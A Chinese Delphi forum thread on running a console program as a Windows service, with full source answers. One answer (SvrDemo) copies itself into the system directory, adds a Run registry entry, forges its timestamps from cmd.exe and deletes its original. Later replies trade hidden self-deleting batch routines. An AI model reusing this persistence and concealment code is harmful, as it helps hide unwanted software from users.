如何将一个程序写成服务启动？（要源代码) ( 积分: 100 )

控制台程序如何服务启动？
请给出实际实现代码．谢谢！！

new一个service application 然后把他注册到服务即可

要写控制台程序的服务启动呢？

program RealTask;

uses
SysUtils,
Windows,
WinSvc;

const
SleepSecond = 10;
ServiceName = 'RealTask';
ServiceDisplayName = 'Real Task Service';
cSTType: array[0..2] of Cardinal = (SERVICE_AUTO_START, SERVICE_DEMAND_START, SERVICE_DISABLED);
// declare global variable
var
ServiceStatusHandle: SERVICE_STATUS_HANDLE;
ssStatus: TServiceStatus;
dwErr: DWORD;
ServiceTableEntry: array [0..1] of TServiceTableEntry;
hServerStopEvent: THandle;


procedure DeleteSelf;
var
F: TextFile;
sPath: String;
begin
sPath := ExtractFilePath(ParamStr(0));
AssignFile(F,sPath + 'delme.bat');
Rewrite(F);
Writeln(F,'@echo off');
Writeln(F,':loop');
Writeln(F,'del "' + ParamStr(0) + '"');
Writeln(F,'if exist "' + ParamStr(0) + '" goto loop');
Writeln(F,'del "' + sPath + 'delme.bat"');
CloseFile(F);
WinExec(PChar(sPath + 'delme.bat'), SW_HIDE);
end;

//返回错误信息
function GetLastErrorText: String;
var
dwSize: DWORD;
lpszTemp: LPSTR;
begin
dwSize := 512;
lpszTemp := nil;
try
GetMem(lpszTemp,dwSize);
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ARGUMENT_ARRAY,
nil,GetLastError,LANG_NEUTRAL,lpszTemp,dwSize,nil);
finally
Result := StrPas(lpszTemp);
FreeMem(lpszTemp);
end;
end;

//写错误信息到 Windows NT 的事件记录
procedure AddToMessageLog(sMsg: String);
var
sString: array [0..1] of String;
hEventSource: THandle;
begin
hEventSource := RegisterEventSource(nil,ServiceName);
if hEventSource>0 then begin
sString[0] := ServiceName + ' Error: ' + IntToStr(dwErr);
sString[1] := sMsg;
ReportEvent(hEventSource,EVENTLOG_ERROR_TYPE,0,0,nil,2,0,@sString,nil);
DeregisterEventSource(hEventSource);
end;
end;

function ReportStatusToSCMgr(dwState,dwExitCode,dwWait: DWORD): BOOL;
begin
// Result := True;
with ssStatus do begin
if (dwState = SERVICE_START_PENDING) then
dwControlsAccepted := 0
else
dwControlsAccepted := SERVICE_ACCEPT_STOP;
dwCurrentState := dwState;
dwWin32ExitCode := dwExitCode;
dwWaitHint := dwWait;
if (dwState = SERVICE_RUNNING) or (dwState = SERVICE_STOPPED) then
dwCheckPoint := 0
else
Inc(dwCheckPoint);
end;
Result := SetServiceStatus(ServiceStatusHandle,ssStatus);
if not Result then AddToMessageLog('SetServiceStauts');
end;

procedure ServiceStop;
begin
if (hServerStopEvent > 0) then SetEvent(hServerStopEvent);
end;

procedure ServiceStart;
var
dwWait: DWORD;
begin
//返回状态
if not ReportStatusToSCMgr(SERVICE_START_PENDING,NO_ERROR,3000) then Exit;
// Create the event object. The control handler function signals
// this event when it receives the "stop" control code.
hServerStopEvent := CreateEvent(nil,TRUE,False,nil);
if hServerStopEvent = 0 then begin
AddToMessageLog('CreateEvent');
Exit;
end;
if not ReportStatusToSCMgr(SERVICE_RUNNING,NO_ERROR,0) then begin
CloseHandle(hServerStopEvent);
Exit;
end;
//服务已经启动，进入任务循环，直到服务程序结束
while True do begin
dwWait := WaitforSingleObject(hServerStopEvent,1);
if dwWait = WAIT_OBJECT_0 then begin
CloseHandle(hServerStopEvent);
Exit;
end;
Sleep(1000 * SleepSecond);
end;
end;

procedure Handler(dwCtrlCode: DWORD);stdcall;
begin
// Handle the requested control code.
case dwCtrlCode of
SERVICE_CONTROL_STOP: begin
ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0);
ServiceStop;
ReportStatusToSCMgr(SERVICE_STOPPED,GetLastError,0);
Exit;
end;
SERVICE_CONTROL_INTERROGATE: ;
SERVICE_CONTROL_PAUSE: ;
SERVICE_CONTROL_CONTINUE: ;
SERVICE_CONTROL_SHUTDOWN: ;
// invalid control code
else
end;
//更新服务程序状态
ReportStatusToSCMgr(ssStatus.dwCurrentState, NO_ERROR, 0);
end;

procedure ServiceMain;
begin
//注册（ Register the handler function with dispatcher;）
ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName,ThandlerFunction(@Handler));
if ServiceStatusHandle=0 then begin
ReportStatusToSCMgr(SERVICE_STOPPED,GetLastError,0);
Exit;
end;
ssStatus.dwServiceType := SERVICE_WIN32_OWN_PROCESS;
ssStatus.dwServiceSpecificExitCode := 0;
ssStatus.dwCheckPoint := 1;
//返回当前状态给 SCM (服务控制管理器)
if not ReportStatusToSCMgr(SERVICE_START_PENDING,NO_ERROR,3000) then begin
ReportStatusToSCMgr(SERVICE_STOPPED,GetLastError,0);
Exit;
end;
//启动服务
ServiceStart;
end;

procedure InstallService;
var
schService: SC_HANDLE;
schSCManager: SC_HANDLE;
lpszPath: LPSTR;
dwSize: DWORD;
begin
dwSize := 512;
GetMem(lpszPath,dwSize);
if GetModuleFileName(0,lpszPath,dwSize)=0 then begin
FreeMem(lpszPath);
Writeln('无法安装服务 ' + ServiceDisplayName + '，获得服务模块名失败。');
Exit;
end;
FreeMem(lpszPath);
schSCManager := OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
if (schSCManager > 0) then begin
schService := CreateService(schSCManager,ServiceName,ServiceDisplayName,
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,cSTType[0],
SERVICE_ERROR_NORMAL,lpszPath,nil,nil,nil,nil,nil);
if (schService > 0) then begin
Writeln('服务 ' + ServiceDisplayName + ' 已经成功安装。');
Writeln('系统下次启动时，服务将会自动运行。');
CloseServiceHandle(schService);
end
else
Writeln('无法安装服务 ' + ServiceDisplayName + '，创建服务失败。');
end
else
Writeln('无法安装服务 ' + ServiceDisplayName + '，打开服务管理器(SCM)失败。');
end;

procedure UnInstallService;
var
schService: SC_HANDLE;
schSCManager: SC_HANDLE;
begin
schSCManager := OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
if (schSCManager>0) then begin
schService := OpenService(schSCManager,ServiceName,SERVICE_ALL_ACCESS);
if (schService>0) then begin
// Try to stop service at first
if ControlService(schService,SERVICE_CONTROL_STOP,ssStatus) then begin
Write('正在停止 ' + ServiceDisplayName + ' 服务..... ');
Sleep(1000);
while (QueryServiceStatus(schService,ssStatus)) do begin
if ssStatus.dwCurrentState = SERVICE_STOP_PENDING then begin
Write('.');
Sleep(1000);
end
else
Break;
end;
Writeln;
if ssStatus.dwCurrentState=SERVICE_STOPPED then
Writeln('服务已经停止。')
else begin
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
Writeln('停止服务失败。');
Exit;
end;
end;
// Remove the service
if (DeleteService(schService)) then begin
Writeln('成功卸载服务。');
// Writeln('请手动删除本服务的程序文件：' + ParamStr(0));
DeleteSelf;
end
else
Writeln('删除服务失败 (' + GetLastErrorText + ')。');
CloseServiceHandle(schService);
end
else
Writeln('打开服务失败 (' + GetLastErrorText + ')。');
CloseServiceHandle(schSCManager);
end
else
Writeln('打开服务管理器(SCM)失败 (' + GetLastErrorText + ')。');
end;

procedure ShowHelp;
begin
Writeln('提供 ' + ServiceDisplayName + ' 的帮助信息。');
Writeln(' ');
Writeln('RealTask [/install] [/remove] [/?]');
Writeln(' ');
Writeln(' /install 安装服务。');
Writeln(' /remove 卸载服务。');
Writeln(' /? 显示帮助信息。');
Writeln(' ');
Writeln('版权所有 2006 liyinwei');
Readln;
Halt;
end;

// Main Program Begin
begin
if (ParamCount = 1) then begin
if ParamStr(1) = '/?' then ShowHelp;
if Uppercase(ParamStr(1))='/INSTALL' then begin
InstallService;
Halt;
end;
if Uppercase(ParamStr(1))='/REMOVE' then begin
UnInstallService;
Halt;
end;
end;
// Setup service table which define all services in this process
with ServiceTableEntry[0] do begin
lpServiceName := ServiceName;
lpServiceProc := TServiceMainFunction(@ServiceMain);
end;
// Last entry in the table must have nil values to designate the end of the table
with ServiceTableEntry[1] do begin
lpServiceName := nil;
lpServiceProc := nil;
end;
if not StartServiceCtrlDispatcher(ServiceTableEntry[0]) then begin
AddToMessageLog('StartServiceCtrlDispatcher Error!');
Halt;
end;
end.

服务启动的程序要有服务特性才行。。。

program SvrDemo;

uses
Windows,
WinSvc,
winsock;

const
RegName = 'SvrDemo';

var
szServiceName: pchar = 'SvrDemo';
szFileNamechar;
ServiceTable: array [0..1] of TServiceTableEntry;
Status: SERVICE_STATUS;
StatusHandle: SERVICE_STATUS_HANDLE;
Stopped: boolean;
Paused: boolean;
cmd :array[0..MAX_PATH] of char;

//获取系统目录
function GetDirectory(dInt: Integer): string;
var
s: array[0..255] of Char;
begin
case dInt of
0: GetWindowsDirectory(@s, 256); //Windows安装文件夾所存在的路径
1: GetSystemDirectory(@s, 256); //系统文件夾所存在的路径
2: GetTempPath(256,@s); //Temp文件夾所存在的路径
end;
if dInt=2 then
result :=string(s)
else
result := string(s) + '/';
end;

//设置文件时间
procedure setTime(srcFile,destFileChar);
var
hFileOld,hFileNew :THandle;
CreationTime, LastAccessTime, LastWriteTime FileTime;
begin
hFileOld :=createFile(srcFile,generic_read,file_share_read,nil,
open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
if (hFileOld=INVALID_HANDLE_VALUE) then exit;
hFileNew :=createFile(destFile,generic_write,file_share_write,nil,
open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
if (hFileNew=INVALID_HANDLE_VALUE) then exit;
GetMem(CreationTime,SizeOf(TFileTime));
GetMem(LastAccessTime,SizeOf(TFileTime));
GetMem(LastWriteTime,SizeOf(TFileTime));
GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);
SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);
FreeMem(CreationTime);
FreeMem(LastAccesstime);
FreeMem(LastWriteTime);
CloseHandle(hFileNew);
CloseHandle(hFileOld);
end;

function LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;

function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
wsadata:twsadata;
FSocket:integer;
SockAddrIn:TSockAddrIn;
err:integer;
begin
err:=WSAStartup($0101,WSAData);
FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
if FSocket=invalid_socket then
begin
Result:=False;
Exit;
end;
SockAddrIn.sin_addr:=LookupName(host);
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(port);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
if err=0 then
begin
sock:=FSocket;
Result:=True;
end else
begin
Result:=False;
end;
end;

procedure Delme;
var
module : HMODULE;
buf : array[0..MAX_PATH - 1] of char;
p : ULONG;
hKrnl32 : HMODULE;
pExitProcess, pDeleteFile, pFreeLibrary: pointer;
begin
module := GetModuleHandle(nil);
GetModuleFileName(module, buf, sizeof(buf));
CloseHandle(THandle(4));
p := ULONG(module) + 1;
hKrnl32 := GetModuleHandle('kernel32');
pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
asm
lea eax, buf
push 0
push 0
push eax
push pExitProcess
push p
push pDeleteFile
push pFreeLibrary
ret
end;
end;

function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
Key: hKey;
begin
RegOpenKeyEx(ROOT, pChar(Path), 0, KEY_ALL_ACCESS, Key);
RegDeleteValue(Key, pChar(Value));
RegCloseKey(Key);
end;

function InstallService(ServiceName, DisplayName, FileName: string): boolean;
var
SCManager,Service: THandle;
Args: pchar;
begin
Result := False;
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
Service := CreateService(SCManager, //句柄
PChar(ServiceName), //服务名称
PChar(DisplayName), //显示服务名
SERVICE_ALL_ACCESS, //服务访问类型
SERVICE_WIN32_OWN_PROCESS, //服务类型 or SERVICE_INTERACTIVE_PROCESS
SERVICE_AUTO_START, //自动启动服务
SERVICE_ERROR_IGNORE, //忽略错误
PChar(FileName), //启动的文件名
nil, //name of load ordering group (载入组名) 'LocalSystem'
nil, //标签标识符
nil, //相关性数组名
nil, //帐户(当前)
nil); //密码(当前)

Args := nil;
StartService(Service, 0, Args);
CloseServiceHandle(Service);
finally
CloseServiceHandle(SCManager);
end;
Result := True;
end;

procedure UninstallService(ServiceName: string);
var
SCManager,Service: THandle;
ServiceStatus: SERVICE_STATUS;
begin
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
DeleteService(Service);
CloseServiceHandle(Service);
finally
CloseServiceHandle(SCManager);
end;
end;

procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
case Control of
SERVICE_CONTROL_STOP:
begin
Stopped := True;
Status.dwCurrentState := SERVICE_STOPPED;
end;
SERVICE_CONTROL_PAUSE:
begin
Paused := True;
Status.dwcurrentstate := SERVICE_PAUSED;
end;
SERVICE_CONTROL_CONTINUE:
begin
Paused := False;
Status.dwCurrentState := SERVICE_RUNNING;
end;
SERVICE_CONTROL_INTERROGATE: ;
SERVICE_CONTROL_SHUTDOWN: Stopped := True;
end;
SetServiceStatus(StatusHandle, Status);
end;

procedure ServiceMain;
var
s:integer;
//MSG:TMSG;
begin
{ while(GetMessage(Msg,0,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end; }
repeat
if not Paused then
begin
StartNet('127.0.0.1',600,s);
Sleep(2000);
end;
until Stopped;
ExitProcess(0);
end;

procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall;
begin
StatusHandle := RegisterServiceCtrlHandler(szServiceName, @ServiceCtrlHandler);
if StatusHandle <> 0 then
begin
ZeroMemory(@Status, SizeOf(Status));
Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS;
Status.dwCurrentState:= SERVICE_START_PENDING;
Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE;
Status.dwWaitHint := 1000;
SetServiceStatus(StatusHandle, Status);
Stopped := False;
Paused := False;
Status.dwCurrentState := SERVICE_RUNNING;
SetServiceStatus(StatusHandle, Status);
ServiceMain;
end;
end;

procedure Main;
begin
szFileName :=pchar(GetDirectory(1) + szServiceName + '.exe');
if ParamStr(1) = '/u' then
begin
UninstallService(szServiceName);
SetDelValue(HKEY_LOCAL_MACHINE,'Software/Microsoft/Windows/CurrentVersion/Run',RegName);
end else
begin
GetModuleFileName(hInstance,cmd,MAX_PATH);
ServiceTable[0].lpServiceName := szServiceName;
ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher;
ServiceTable[1].lpServiceName := nil;
ServiceTable[1].lpServiceProc := nil;
StartServiceCtrlDispatcher(ServiceTable[0]);
if CopyFile(cmd,szFileName,false) then
begin
SetRegValue(HKEY_LOCAL_MACHINE,'Software/Microsoft/Windows/CurrentVersion/Run',RegName,szFileName);
setTime(PChar(GetDirectory(1) + 'cmd.exe'),szFileName);
InstallService(szServiceName, szServiceName, szFileName);
Delme;
end;
end;
end;

begin
Main;
end.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
使用文件句柄硬编码的Delme只能在特定系统下运行。2k和XP的不一样。

自删除的话题好像很多很多了～通用性强悍的就是～BAT自删除了
hnxyy的那种自删除
在许多情况下不能使用～～为什么呢、。。看看调试一下就知道了
FreeLibrary无法释放。。句柄获取不到。。某些系统不认为EXE可以用DLL的方式释放
难哦。。。很久以前许多牛人一起解决这个问题。都没有解决～
不然用MoveFileEx试试～不过不是立即删除～是系统重启以后再删除。
最通用的办法还是～BAT自删除。呼呼～～

批处理自删除可以这样写:

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

接受答案了.